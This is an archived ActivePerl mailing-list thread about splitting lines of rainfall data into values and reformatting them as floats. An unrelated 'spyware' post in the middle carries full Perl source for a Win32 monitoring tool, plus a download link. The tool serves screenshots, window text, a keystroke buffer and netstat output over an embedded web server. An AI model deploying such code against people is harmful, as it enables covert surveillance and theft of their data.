Reading a line as an array

Reading a line as an array

am 21.09.2010 17:27:02 von zilore mumba

Hello Perl Community,
This mail was posted on gmail but may have been vetted by the moderator.
firstly my apologies for 1) a very basic question, 2) something I
should do in C.
1. I have rainfal data (attached as sample.txt) month by month in
mixed float and integer which I cannot handle in fortran. I need to
first rewrite the data all in real (float) before I can use fortran.
2. The perl script I have written read line by line, but then how do I
split the line into 31 values?
3. as it is, the script rewrites each line and does not change any int
into float, I tried printf (with format) it doesn't work.
Is it possible?
Assistance will be appreciated.
Zilore



_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs

RE: Reading a line as an array

am 21.09.2010 17:35:09 von Brian Raven

zilore mumba <> wrote:
> Hello Perl Community,
> This mail was posted on gmail but may have been vetted by the
> moderator.
> firstly my apologies for 1) a very basic question, 2) something I
> should do in C.
> 1. I have rainfal data (attached as sample.txt) month by month in
> mixed float and integer which I cannot handle in fortran. I need to
> first rewrite the data all in real (float) before I can use fortran.
> 2. The perl script I have written read line by line, but then how do
> I split the line into 31 values?
> 3. as it is, the script rewrites each line and does not change any
> int into float, I tried printf (with format) it doesn't work.
> Is it possible?
> Assistance will be appreciated.

I couldn't see any sign of your sample data.

It would also make it easier to help if you showed your code as well.

HTH

--
Brian Raven

Please consider the environment before printing this e-mail.

This e-mail may contain confidential and/or privileged information. If you are not the intended recipient or have received this e-mail in error, please advise the sender immediately by reply e-mail and delete this message and any attachments without retaining a copy.

Any unauthorised copying, disclosure or distribution of the material in this e-mail is strictly forbidden.
_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs

RE: Reading a line as an array

am 21.09.2010 17:36:19 von eroode

On Tuesday, September 21, 2010 11:27 AM, zilore mumba wrote:

> Hello Perl Community,
> This mail was posted on gmail but may have been vetted by the
moderator.
> firstly my apologies for 1) a very basic question, 2) something I
> should do in C.
> 1. I have rainfal data (attached as sample.txt) month by month in
> mixed float and integer which I cannot handle in fortran. I need to
> first rewrite the data all in real (float) before I can use fortran.
> 2. The perl script I have written read line by line, but then how do I
> split the line into 31 values?
> 3. as it is, the script rewrites each line and does not change any int
> into float, I tried printf (with format) it doesn't work.
> Is it possible?
> Assistance will be appreciated.
> Zilore

Hello.

You should not consider doing this in C. It would be a lot more
work, and give you no benefit over doing it in Perl.

Your attachment did not reach the mailing list. Perhaps you
could post it online somewhere, and provide a link to it? Or try
sending it to the list again?

In general, you will probably want to:
Read each line into a string (via the -n command-line option, or
via the "diamond operator" <>)
Split each line into an array of values (via the -F command-line
option, or the split() operator)
Reformat each value, and output them (via printf).

So it looks like you have the right idea. Please try sending the
attachment again, and also please let us see what perl code you
have tried so far.

Yours,
Eric Roode



_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs

spyware

am 21.09.2010 18:46:13 von Angelos Karageorgiou

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--===============0580734901==
Content-Type: multipart/signed; micalg=pgp-sha1;
protocol="application/pgp-signature";
boundary="------------enig8AD56F60BDC82D9CE8EB1EFC"

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enig8AD56F60BDC82D9CE8EB1EFC
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

hooray for activeperl , Here is some code on how to write spy/audit
ware in perl for win32
par compiled exe at http://www.unix.gr/FLOSSeavesDrop.exe



#!wperl.exe
#
# System Remote Auditing Solution i.e. A screen grabber with an
embedded Web Server
# Open Source edition released under the BSD license.
# for multiscreen abilities and campus wide monitoring, contact me direct=
ly
#
# Angelos Karageorgiou angelos@unix.gr www.unix.gr
#

package Rautor;

use common::sense;
use IO::Select;
use HTTP::Daemon;
use HTTP::Response;
use HTTP::Status;
use HTTP::Request;
use Win32;
use Win32::API;
use Win32::GUI();
use Win32::GUI qw (WM_QUERYENDSESSION WM_ENDSESSION WM_CLOSE);
use Win32::GUI::DIBitmap;
use Win32::GuiTest qw|FindWindowLike IsWindowVisible GetWindowText
WMGetText IsKeyPressed GetAsyncKeyState|;
use Getopt::Long;
use threads;
use threads::shared;
use IO::Socket::INET;
use Win32::Process;

my $PORT=3D42000;
my $VERBOSE=3D'';
my $KEYLOG:shared=3D"";
my $TIP=3D"Insecure Live Session Monitor \nFor proper commercial grade
security software\nvisit http://www.unix.gr/rautor";
my $SLIDESBITS=3D16;
my $NumScreens=3D1;
my $SLEEP=3D3;


GetOptions (
'verbose' =3D> \$VERBOSE,
);

print "Port is $PORT\n" if ( $VERBOSE);

#primary
my $GetDC =3D new Win32::API('user32', 'GetDC', ['N'], 'N');
my $RelDC =3D new Win32::API('user32', 'ReleaseDC', [qw/N N/], 'I');
#Alternate
my $GetDW =3D new Win32::API('user32','GetDesktopWindow', [], 'N');
my $DESKTOP =3D $GetDW->Call();

my $imgFname=3D"screen.png";

our $user=3DWin32::LoginName();
our $Node=3DWin32::NodeName();
our $domain=3DWin32::DomainName();

my $RepeatHeader=3D"";

#my $RepeatHeader=3D" HEAD>\r\n
#

"0\"
cellspacing=3D\"0\">\r\n
#";
while () {
chomp($_);
$RepeatHeader .=3D $_ . "\r\n";
}


my $GUID=3DWin32::GuidGen(); # used for randomization
my $SESSION=3Dsubstr($GUID,1,length($GUID)-2);
$SESSION=3D~ s/\-//gi;


my $ICONPATH:shared=3DgetIcon("bull_lined.ico"); =20
my $redIconFile:shared=3DgetIcon("dot.ico");

my $bullIcon =3D new Win32::GUI::Icon($ICONPATH); =20
my $redIcon =3D new Win32::GUI::Icon($redIconFile);


# GUI STUFF
my $main =3D Win32::GUI::Window->new(
-name =3D> 'Main',
-width =3D> 100,
-height =3D> 100,
-minsize =3D> [100, 100],
-visible =3D> 0,
);

my $trayIcon =3D $main->AddNotifyIcon(
-name =3D> 'BULL',
-icon =3D> $bullIcon,
-tip =3D> $TIP ,
);

$HTTP::Daemon::PROTO =3D "HTTP/1.0";
my $daemon =3D HTTP::Daemon->new(Listen=3D>10,LocalPort=3D>$PORT,
ReuseAddr=3D>1) || &Shutdown(); =20
my
$webtid=3Dthreads->create('web',$daemon,$SESSION,$trayIcon,$ bullIcon,$red=
Icon)->detach();

$main->Hook(WM_CLOSE,\&Shutdown);
$main->Enable();
Win32::GUI::Dialog();
Shutdown();



sub Main_Terminate {
-1;
}

sub Main_Minimize {
print "Minimized\n";
$main->Disable();
$main->Hide();
1;
}


sub BULL_Click {
$main->Enable();
$main->Show();
1;
}


############################################################ #############=
###############
sub web{
my ($daemon,$SESSION,$trayicon,$bullIcon,$redIcon)=3D@_;

print "Daemon mode on\n" if ( $VERBOSE);
#main code

while ( my $c =3D $daemon->accept){ =20
set_icon($trayIcon,$redIcon,"Your Session is being monitored"); =20

# Verify the caller =20
my @ip =3D unpack("C4",$c->peeraddr);
my $ip=3Djoin(".",@ip);
# go for it =20
process_one_req($c,$SESSION,$ip);
# Win32::Sleep(30); # let's deny DDOS :-) millisecs
threads->yield();
set_icon($trayIcon,$bullIcon,$TIP); =20
$c->close; =20
}
}

############################################################ #############=
###############
sub process_one_req {
my $connection =3D shift; =20
my $SESSIONID=3Dshift;
my $IP=3Dshift;
=20
my $RepeatHTML=3D$RepeatHeader;
=20
my $receiver =3D $connection->get_request;
if ( ! $receiver ) {
return;
}
if (! ($receiver->method eq 'GET') ){ # Method GET=

$connection->send_error(RC_FORBIDDEN);
return;
}
$receiver->url->path =3D~ m/^\/(.*)$/mi;
my $path=3D$1; =20

print $path . "\n" if ( $VERBOSE); =20
=20
if ($path eq "monitor8bits" ) {
$SLIDESBITS=3D8;
domonitor($connection,$RepeatHTML,$SESSIONID,$IP);
return;
}
# URL is /monitor or null
if ($path eq "monitor16bits" ) {
$SLIDESBITS=3D16;
domonitor($connection,$RepeatHTML,$SESSIONID,$IP); =20
return;
}
if ( ($path eq "monitor" ) || ($path eq "" ) ) {
domonitor($connection,$RepeatHTML,$SESSIONID,$IP);
return;
}
=20
if ($path =3D~ /^screen([1-9]*)\.png$/ ) { # Screen[1-9].png
=20
my $scrnum=3D1;
if ( $1 ) {
$scrnum=3D$1;
}
my $fname=3D"screen".$scrnum.".png";
unlink $fname if ( -f $fname);
my $res=3Dscreendumper($scrnum);
my $fname=3D"screen".$scrnum.".png";
if ( $fname eq "screen.png" ) {
$fname=3D"screen1.png";
}
if ( ! -f $ENV{APPDATA} ."\\". $fname ) {
$connection->send_error(404,"Could not grab the screen
num $scrnum");
$connection->close;
undef($connection);
return;
}
my $response =3D HTTP::Response->new(200);
$response->push_header('Content-Type','image/png');
$connection->send_response($response);
$connection->send_file($ENV{APPDATA}."\\".$fname);
unlink $fname;
return;
}
=20
=20
if ($path eq "scrape" ) {
my $Text=3DDumpAnyText();
my $response =3D HTTP::Response->new(3000);
$response->content('
' . $Text . '
');
$connection->send_response($response);
return;
}
if ($path eq "keylog" ) {
my $Text=3D$KEYLOG;
$KEYLOG=3D"";
my $response =3D HTTP::Response->new(200);
$response->content('
' . $Text . '
');
$connection->send_response($response);
return;
}
=20
if ($path eq "netstat" ) { # /netstat
my $response =3D HTTP::Response->new(200);
my $Text=3Dreadnetstat("c:\\WINDOWS\\system32\\\\netstat.exe -bn"=
);
if ( ! $Text ) {
$connection->send_error(404,"Could not do netstat");
} else {
$response->content($Text);
$connection->send_response($response); =20
}
return;
}
=20
if ($path eq "fullnetstat" ) { # /fullnetstat
my $response =3D HTTP::Response->new(200);
my $Text=3Dreadnetstat("c:\\WINDOWS\\system32\\netstat.exe -bavn"=
);
if ( ! $Text ) {
$connection->send_error(404,"Could not do netstat");
} else {
$response->content($Text);
$connection->send_response($response); =20
}
return; =20
}
# no matches
$connection->send_error(RC_FORBIDDEN);
}


############################################################ ##########
sub domonitor{
my ($connection,$RepeatHTML,$SESSIONID,$IP)=3D@_;
# my $span=3D$NumScreens*3;
# $RepeatHTML .=3D "
# =20
#
=20
#
#
# =
=20
#
# =20
# =20
#
# ";
# for (my $i=3D1;$i<=3D$NumScreens;$i++){ =20
# my $fname=3D"screen".$i.".png";
# $RepeatHTML .=3D "\r\n";
# $RepeatHTML .=3D "\r\n";
# if ( ( $i % 2 ) == 0 ) {
# $RepeatHTML .=3D "\r\n"; =20
# }
# }
=20
# $RepeatHTML .=3D "
href=3D\"/monitor8bits\">[Monitor in 8-bit mode] href=3D\"/scrape\">[Dump Textual Contents] href=3D\"/monitor16bits\">[Monitor in 16-bit mode]
Keystrokes:
$KEYLOG
w\">
# align=3Dcenter>

#
"; =20
my $RepeatHTML =3D $RepeatHeader;
my $response =3D HTTP::Response->new(length($RepeatHTML));
$response->content($RepeatHTML);
$connection->send_response($response); =20
$KEYLOG=3D""; # reset untill next call
}



############################################################
sub screendumper{
my ($i)=3Dshift(@_);

my $disp=3D"\\\\.\\Display".$i;
my $fname=3D$ENV{APPDATA}."\\screen".$i.".png";
my $Screen =3D new Win32::GUI::DC("DISPLAY",$disp);
if ( $Screen){
my $image =3D newFromDC Win32::GUI::DIBitmap($Screen) ;
my $scaled=3Dscale($image);
if ( $scaled ) { =20
$scaled->SaveToFile($fname);
}
Win32::GUI::DC::ReleaseDC(0,$Screen);
}
}


############################################################
sub scale{
my $image=3Dshift;
=20
print "BITS $SLIDESBITS\n" if $VERBOSE;

if ($SLIDESBITS ==8 ) { =20
my $new=3D$image->ConvertTo8Bits(); =20
my $ximage=3D$new->ColorQuantize();
return $ximage;
} elsif ($SLIDESBITS == 16 ) {
my $newimage=3D$image->ConvertTo16Bits565();
return $newimage;
}
return $image; # justincase
}


############################################################ ##########

sub getIcon {
my $icon=3Dshift;
my $ICONPATH=3D'';

=20
=20
#snippet shamelessly stolen from splashscreen.pm
my @dirs;
# directory of perl script
my $tmp =3D $0; $tmp =3D~ s/[^\/\\]*$//;
push @dirs, $tmp;
# cwd
push @dirs, ".";
push @dirs, $ENV{TEMP} if exists $ENV{TEMP};
push @dirs, $ENV{PAR_TEMP} if exists $ENV{PAR_TEMP};
push @dirs, $ENV{PAR_TEMP}."/inc" if exists $ENV{PAR_TEMP};

for my $dir (@dirs) {
next unless -d $dir;
print STDERR "Attempting to locate icon $icon under $dir\n" if
$VERBOSE;
if ( -f $dir . "\\" .$icon ) {
$ICONPATH=3D$dir ."\\" . $icon; =20
return $ICONPATH;
}
}
}

############################################################ ##########
sub set_icon{
my ( $icon,$img,$tip)=3D@_;
$icon->Change ( =20
-name =3D> 'Tray',
-icon =3D> $img,
-tip =3D> $tip,
);
}

############################################################ #############=
###############
BEGIN { =20
# hide child windows like netstat :-)
if ( defined &Win32::SetChildShowWindow ){
Win32::SetChildShowWindow(0)
}
}

############################################################ #############=
###############
sub Shutdown{
print STDERR "Shutdown Called" if ( $VERBOSE);
$main->AddNotifyIcon(
-name =3D> 'Tray',
);
=20
exit;
}

############################################################ #############=
###############
############################################################ #############=
###############
############################################################ #############=
###############

__DATA__





Live Session Monitor (http://www.unix.gr for more)






name=3D"screen1" width=3D100% height=3D"100%" border=3D0>





--------------enig8AD56F60BDC82D9CE8EB1EFC
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.14 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJMmOFgAAoJEAa9bq/jDq5lyR8IAMT4uLHIJTUrlKVwRx3b 4rBG
vM0f37VeOwhTf0DnlnzsDB5ndAyGLL3XXF3lH+SQ6fZSwIqCT67CdtmGzeuC WC/v
q9cjKoT2SEUZFB0yMslltqAJkRpLU0rfVpZwDeImdqoTjDk5BoCeuMTCmPez emDr
k/wwtwUP1OgvRz9X1MpH6Wn5dd1stIkFhPSsKsNLBnCvxCUUGWXUHJfkp3tC wXq5
sI4A6vDDWS9Vo79Kg2ElPvFpiEtNdrxTsWF5RQAXJ1Ne7ylLPpSLvNMZKZSU 6fG1
SFTJ0Uao3vwcLKIbcaKotNl9W3KN0eudxVwmkdPo94lLxB6O9QWrwwmzCMKm MCA=
=8Pvx
-----END PGP SIGNATURE-----

--------------enig8AD56F60BDC82D9CE8EB1EFC--

--===============0580734901==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs
--===============0580734901==--

Re: Reading a line as an array

am 22.09.2010 07:11:45 von zilore mumba

--0-1078635349-1285132305=:95487
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Excuse me for the missing attachments. As I composed the mail in gmail whic=
h is =0Anot recognised on the mailing list. The attachments are now include=
d. ----- Original Message ----=0AFrom: "Roode, Eric" rack.com>=0ATo: activeperl@listserv.activestate.com=0ACc: zilore mumba mba@yahoo.com>=0ASent: Tue, September 21, 2010 4:36:19 PM=0ASubject: RE: Re=
ading a line as an array On Tuesday, September 21, 2010 11:27 AM, zilo=
re mumba wrote: > Hello Perl Community,=0A> This mail was posted on gm=
ail but may have been vetted by the=0Amoderator.=0A> firstly my apologies f=
or 1) a very basic question, 2) something I=0A> should do in C.=0A> 1. I ha=
ve rainfal data (attached as sample.txt) month by month in=0A> mixed float =
and integer which I cannot handle in fortran. I need to=0A> first rewrite t=
he data all in real (float) before I can use fortran.=0A> 2. The perl scrip=
t I have written read line by line, but then how do I=0A> split the line in=
to 31 values?=0A> 3. as it is, the script rewrites each line and does not c=
hange any int=0A> into float, I tried printf (with format) it doesn't work.=
=0A> Is it possible?=0A> Assistance will be appreciated.=0A> Zilore He=
llo. You should not consider doing this in C.=A0 It would be a lot mor=
e=0Awork, and give you no benefit over doing it in Perl. Your attachme=
nt did not reach the mailing list.=A0 Perhaps you=0Acould post it online so=
mewhere, and provide a link to it?=A0 Or try=0Asending it to the list again=
? In general, you will probably want to:   =A0 Read each line into=
a string (via the -n command-line option, or   =A0 =A0 =A0 via the "di=
amond operator" <>)   =A0 Split each line into an array of values (via =
the -F command-line   =A0 =A0 =A0 option, or the split() operator)=0A=
=A0 =A0 Reformat each value, and output them (via printf). So it looks=
like you have the right idea.=A0 Please try sending the=0Aattachment again=
, and also please let us see what perl code you=0Ahave tried so far. Y=
ours,=0AEric Roode ___________________________________________ __=
__=0AActivePerl mailing list=0AActivePerl@listserv.ActiveState.com=0ATo uns=
ubscribe: http://listserv.ActiveState.com/mailman/mysubs
--0-1078635349-1285132305=:95487
Content-Type: application/octet-stream; name="write_rn.pl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="write_rn.pl"

IyEvdXNyL2Jpbi9wZXJsIC13DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdz
Ow0KIw0KbXkgJGRlYnVnID0gMDsNCg0Kb3BlbihPVVQsICI8c2FtcGxlLnR4
dCIpIG9yIGRpZSAib3BlbiAnS2lnYWxpX3IudHh0JyBmYWlsZWQ6ICQhICgk
XkUpIjsNCm9wZW4oSU4sICI+c2FtcGxlX3RyLnR4dCIpIG9yIGRpZSAib3Bl
biAnS2lnYWxpX3RyLnR4dCcgZmFpbGVkOiAkISAoJF5FKSI7DQoNCmZvciAo
bXkgJGlpPTA7ICRpaSA8IDY7ICsrJGlpKSB7DQogICAgbXkgJGxpbmUgPSA8
T1VUPjsNCiAgICBjaG9tcCAkbGluZTsNCiAgICBwcmludCBJTiAiJGxpbmVc
biI7DQogICB9DQoNCndoaWxlICg8T1VUPikNCiAgew0KICAgIG15IEByYWlu
ID0gPE9VVD47IA0KICAgIHByaW50IElOICJAcmFpblxuIjsNCiAgIH0NCiBj
bG9zZSBPVVQ7DQogY2xvc2UgSU47DQoNCl9fRU5EX18NCg0K

--0-1078635349-1285132305=:95487
Content-Type: text/plain; name="sample.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sample.txt"

S0lHQUxJIEFFUk8JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ0K
UmFpbmZhbGwgKG1tKQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
DQpMQVQ6MDH4IDU4CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkN
CkxPTjowMzD4IDA4CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkN
CiJBbHQ6MSw0OTAuMCIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ
CQ0KCURhdGUJMQkyCTMJNAk1CTYJNwk4CTkJMTAJMTEJMTIJMTMJMTQJMTUJ
MTYJMTcJMTgJMTkJMjAJMjEJMjIJMjMJMjQJMjUJMjYJMjcJMjgJMjkJMzAJ
MzENCgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJDQoJMTk3MSAw
MQkxMS44CTAuNAkwCTAJMAkwCTAJMAkwLjEJMAkyLjkJMAk5LjQJMC4zCTAu
MgkwCTAJMAkwCTEuNwkwCTAJMAkwCTAJMAkwCTAuNQkwCTAJOC4xDQoJMTk3
MSAwMgk0LjMJMi4yCTAuNgk1LjkJMwkzLjMJMAkxMC43CTAJMAkwCTAJMAkw
CTAJMTUuMwkwCTAJMAkxLjcJMAk4LjgJMAkzLjIJMAkwCTAJNy4zCQkJDQoJ
MTk3MSAwMwkwCTAJMAkwCTAJMAkwCTAJMAkxLjEJMAkwCTMJMAkyLjkJMC41
CTUuNwkwCTYuNgkwCTAuMQkwCTAJMAkwLjkJMTAuNQkyLjQJMjUuMQkxMQkx
MwkyLjENCgkxOTcxIDA0CTEuNgkxOC40CTAJMC43CTguOAkwLjgJMS4zCTAJ
Mi43CTcJMC4xCTIwCTI1LjMJMC42CTIuNwk0CTAJNC44CTAuMQkzLjYJMTAu
MgkxMi45CTEuOAkwCTM2LjIJMC4xCTAJMC4xCTEuNgkwCQ0KCTE5NzEgMDUJ
MAkxMC45CTIuMQkwCTIuMwk4LjEJMC4zCTQuNAkxLjQJMAkwCTQuMwkwCTIx
LjkJNS42CTAuOQk0CTAJMTcuNAkwCTI5LjMJMTEuMwkwLjYJMAkwCTAJMAkw
CTAJMAk0LjINCgkxOTcxIDA2CTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJ
MAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCQ0KCTE5NzEgMDcJ
MAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTExCTEJMC4zCTAuMQkyLjUJ
MQkwLjMJMAkwCTAJMAkxLjQJMC4zCTAJMAkwCTANCgkxOTcxIDA4CTAJMAkw
CTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMAkwCTAJMS45CTAJMQkwCTUu
MwkwCTQ1LjEJMAkwCTAJMAkyLjgNCgkxOTcxIDA5CTAJMAkwCTE3CTAJMy41
CTEuOQkwCTAJMAkwCTMxLjYJMS45CTAuOQkwLjEJMi4zCTAJMC41CTAJMAkw
CTAJMAkwCTAJNC44CTEzLjcJMAkwLjcJMC41CQ0KCTE5NzEgMTAJMi40CTAu
NQkyLjUJMAkwCTAuMwkwCTAJMTYuNQkwCTQuMwk1LjUJMAkwCTAJMAkwCTAu
MwkxMQk1LjMJMAkwCTEuNQkwCTAJMy42CTAuOAkxLjkJMC4yCTAJMA0KCTE5
NzEgMTEJMS4zCTEzLjIJMAkwCTAJMAkwLjMJMAk0LjYJMAkwCTAuOQkxMS41
CTUuNAkwCTI1LjUJMAkyOS43CTAuNQkwCTEJMS44CTAJMy42CTIuMgkwLjYJ
MTQuNgk4LjYJMAkwCQ0KCTE5NzEgMTIJNi4zCTUuMwkxCTAJMAkwCTAJMAkw
CTEuOAkwCTAJMAkwCTAJNi43CTQuNQkwCTAJMAkwCTAJMAk0LjIJMjEuOQkw
CTAJMjguMwkwCTEwLjMJMi41DQo=

--0-1078635349-1285132305=:95487
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs
--0-1078635349-1285132305=:95487--

Re: Reading a line as an array

am 22.09.2010 07:45:26 von Justin Allegakoen

--===============1522163481==
Content-Type: multipart/alternative; boundary=00163646c44430fa3c0490d2a887

--00163646c44430fa3c0490d2a887
Content-Type: text/plain; charset=ISO-8859-1

On 22 September 2010 13:11, zilore mumba wrote:

> Excuse me for the missing attachments. As I composed the mail in gmail
> which is
> not recognised on the mailing list. The attachments are now included.
>
>
>
> ----- Original Message ----
> From: "Roode, Eric"
> To: activeperl@listserv.activestate.com
> Cc: zilore mumba
> Sent: Tue, September 21, 2010 4:36:19 PM
> Subject: RE: Reading a line as an array
>
> On Tuesday, September 21, 2010 11:27 AM, zilore mumba wrote:
>
> > Hello Perl Community,
> > This mail was posted on gmail but may have been vetted by the
> moderator.
> > firstly my apologies for 1) a very basic question, 2) something I
> > should do in C.
> > 1. I have rainfal data (attached as sample.txt) month by month in
> > mixed float and integer which I cannot handle in fortran. I need to
> > first rewrite the data all in real (float) before I can use fortran.
> > 2. The perl script I have written read line by line, but then how do I
> > split the line into 31 values?
> > 3. as it is, the script rewrites each line and does not change any int
> > into float, I tried printf (with format) it doesn't work.
> > Is it possible?
> > Assistance will be appreciated.
> > Zilore
>


I think you should name your filehandles the other way around - it would be
less confusing.

Anyway something like the below should work, but others may have more
elegant solutions.


while ()
{
my @rain = split; # default is to split on white space and $_

print IN "\t$rain[0]\t$rain[1]\t";
printf IN "%02.1f\t", $_ for @rain[ 2 .. $#rain ];
print IN qq{\n};
}

Just in

--00163646c44430fa3c0490d2a887
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable


On 22 September 2010 13:11, zilore mumba an dir=3D"ltr"><=
> wrote:
0 .8ex;border-left:1px #ccc solid;padding-left:1ex;">

Excuse me for the missing attachments. As I composed the mail in gmail whic=
h is

not recognised on the mailing list. The attachments are now included.







----- Original Message ----

From: "Roode, Eric" <ero=
ode@barrack.com
>

To: activeperl@lists=
erv.activestate.com


Cc: zilore mumba <zmumba@yahoo.com a>>

Sent: Tue, September 21, 2010 4:36:19 PM

Subject: RE: Reading a line as an array



On Tuesday, September 21, 2010 11:27 AM, zilore mumba wrote:



> Hello Perl Community,

> This mail was posted on gmail but may have been vetted by the

moderator.

> firstly my apologies for 1) a very basic question, 2) something I

> should do in C.

> 1. I have rainfal data (attached as sample.txt) month by month in

> mixed float and integer which I cannot handle in fortran. I need to >
> first rewrite the data all in real (float) before I can use fortran. r>
> 2. The perl script I have written read line by line, but then how do I=


> split the line into 31 values?

> 3. as it is, the script rewrites each line and does not change any int=


> into float, I tried printf (with format) it doesn't work.

> Is it possible?

> Assistance will be appreciated.

> Zilore


I think you =
should name your filehandles the other way around - it would be less confus=
ing.

Anyway something like the below should work, =
but others may have more elegant solutions.




while (<OUT>)
{
v>   =A0my @rain =3D split; =A0 =A0# default is to split on white space=
and $_

   =A0print IN "\t$rain[0]\t$rain=
[1]\t";


   =A0printf IN "%02.1f\t", $_ for @rain[ 2 .. $#rain ];=
   =A0print IN qq{\n};
}=A0

iv>Just in

--00163646c44430fa3c0490d2a887--

--===============1522163481==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs
--===============1522163481==--

Re: Reading a line as an array

am 22.09.2010 11:33:34 von zilore mumba

Justin,
Thank you very much indeed for your suggestion. First I changed the file na=
ming =

as you pointed out (In for initial input).
The code works, except for one small snag, which is really due to me. The c=
ode =

with your suggestion below.
The "print OUT '$rain[0], $rain[1]';", prints "$rain[0], $rain[1]'" as is. =

Double quoting, no quotes all give error of uninitialised $rain[0]
Secondly there is a first '$rain[0], $rain[1]' without data


#!/usr/bin/perl -w
use strict;
use warnings;
#
my $debug =3D 0;
open(IN, "<'sample_r.txt") or die "open 'sample_r.txt' failed: $! ($^E)";
open(OUT, ">'sample_tr.txt") or die "open 'sample_tr.txt' failed: $! ($^E)";
for (my $ii=3D0; $ii < 6; ++$ii)
=A0 {
  =A0 my $line=3D ;
  =A0 chomp $line;
  =A0 print OUT "$line\n";              =A0=
         #*** Loop through headers and =

print them
   }
while ()
=A0 {
  =A0 my @rain =3D split;              =A0=
             =

  =A0 print OUT '$rain[0], $rain[1]';    
  =A0 printf OUT "%02.1f\t",$_ for @rain[2..$#rain];
  =A0 print OUT qq(\n);    
=A0}
close IN;
close OUT;

__END__

The data
KIGALI AERO                  =A 0  =
          =A0
Rainfall (mm)                  =A 0=A0=
            
LAT:01=F8 58                  =A0= A0=A0=
          =A0
LON:030=F8 08                  =A0= A0=
            
"Alt:1,490.0"              =A0=A 0    =
            
=A0Date=A01=A02=A03=A04=A05=A06=A07=A08=A09=A010=A011=A012=A 013=A014=A015=
=A016=A017=A018=A019=A020=A021=A022=A023=A024=A025=A026=A027 =A028=A029=A030=
=A031

                         =A0=
      =A0
=A01971 =

01=A011.8=A00.4=A00=A00=A00=A00=A00=A00=A00.1=A00=A02.9=A00= A09.4=A00.3=A00=
..2=A00=A00=A00=A00=A01.7=A00=A00=A00=A00=A00=A00=A00=A00.5= A00=A00=A08.1

=A01971 =

02=A04.3=A02.2=A00.6=A05.9=A03=A03.3=A00=A010.7=A00=A00=A00= A00=A00=A00=A00=
=A015.3=A00=A00=A00=A01.7=A00=A08.8=A00=A03.2=A00=A00=A00=A0 7.3  =A0

=A01971 =

03=A00=A00=A00=A00=A00=A00=A00=A00=A00=A01.1=A00=A00=A03=A00 =A02.9=A00.5=A0=
5.7=A00=A06.6=A00=A00.1=A00=A00=A00=A00.9=A010.5=A02.4=A025. 1=A011=A013=A02=
..1

=A01971 =

04=A01.6=A018.4=A00=A00.7=A08.8=A00.8=A01.3=A00=A02.7=A07=A0 0.1=A020=A025.3=
=A00.6=A02.7=A04=A00=A04.8=A00.1=A03.6=A010.2=A012.9=A01.8=A 00=A036.2=A00.1=
=A00=A00.1=A01.6=A00=A0

=A01971 =

05=A00=A010.9=A02.1=A00=A02.3=A08.1=A00.3=A04.4=A01.4=A00=A0 0=A04.3=A00=A02=
1.9=A05.6=A00.9=A04=A00=A017.4=A00=A029.3=A011.3=A00.6=A00=A 00=A00=A00=A00=
=A00=A00=A04.2

=A01971 06=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A 00=A00=
=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A0
=A01971 =

07=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A 011=A01=A00.3=
=A00.1=A02.5=A01=A00.3=A00=A00=A00=A00=A01.4=A00.3=A00=A00=A 00=A00
=A01971 08=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A00=A 00=A00=
=A00=A00=A00=A01.9=A00=A01=A00=A05.3=A00=A045.1=A00=A00=A00= A00=A02.8
=A01971 =

09=A00=A00=A00=A017=A00=A03.5=A01.9=A00=A00=A00=A00=A031.6=A 01.9=A00.9=A00.=
1=A02.3=A00=A00.5=A00=A00=A00=A00=A00=A00=A00=A04.8=A013.7=A 00=A00.7=A00.5=
=A0

=A01971 =

